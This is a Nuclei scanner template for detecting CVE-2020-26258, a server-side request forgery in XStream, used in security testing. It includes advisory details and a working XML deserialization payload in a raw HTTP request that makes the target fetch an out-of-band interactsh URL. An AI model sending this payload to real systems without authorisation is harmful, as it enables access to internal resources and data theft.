nuclei-templates/http/cves/2020/CVE-2020-26258.yaml

68 lines
2.7 KiB
YAML

id: CVE-2020-26258
info:
name: XStream <1.4.15 - Server-Side Request Forgery
author: pwnhxl
severity: high
description: |
XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to data leakage or further attacks.
remediation: Install at least 1.4.15 if you rely on XStream's default blacklist of the Security Framework, and at least Java 15 or higher.
reference:
- https://x-stream.github.io/CVE-2020-26258.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26258
- https://github.com/x-stream/xstream/security/advisories/GHSA-4cch-wxpw-8p28
- https://nvd.nist.gov/vuln/detail/CVE-2020-26258
- https://lists.apache.org/thread.html/r97993e3d78e1f5389b7b172ba9f308440830ce5f051ee62714a0aa34@%3Ccommits.struts.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2020-26258
cwe-id: CWE-918
epss-score: 0.90088
epss-percentile: 0.98778
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve,cve2020,xstream,ssrf,oast,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://{{interactsh-url}}/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"
# digest: 4a0a0047304502204d32aad9efc1ac614e1b0434e565c48db2433121cd01aa6dcc72590d6af307e0022100a6406e55e0269b8f6bdb55bec5e733f88ba75da0094de41f1516a7cd5e5ddb2b:922c64590222798bb761d5b6d8e72950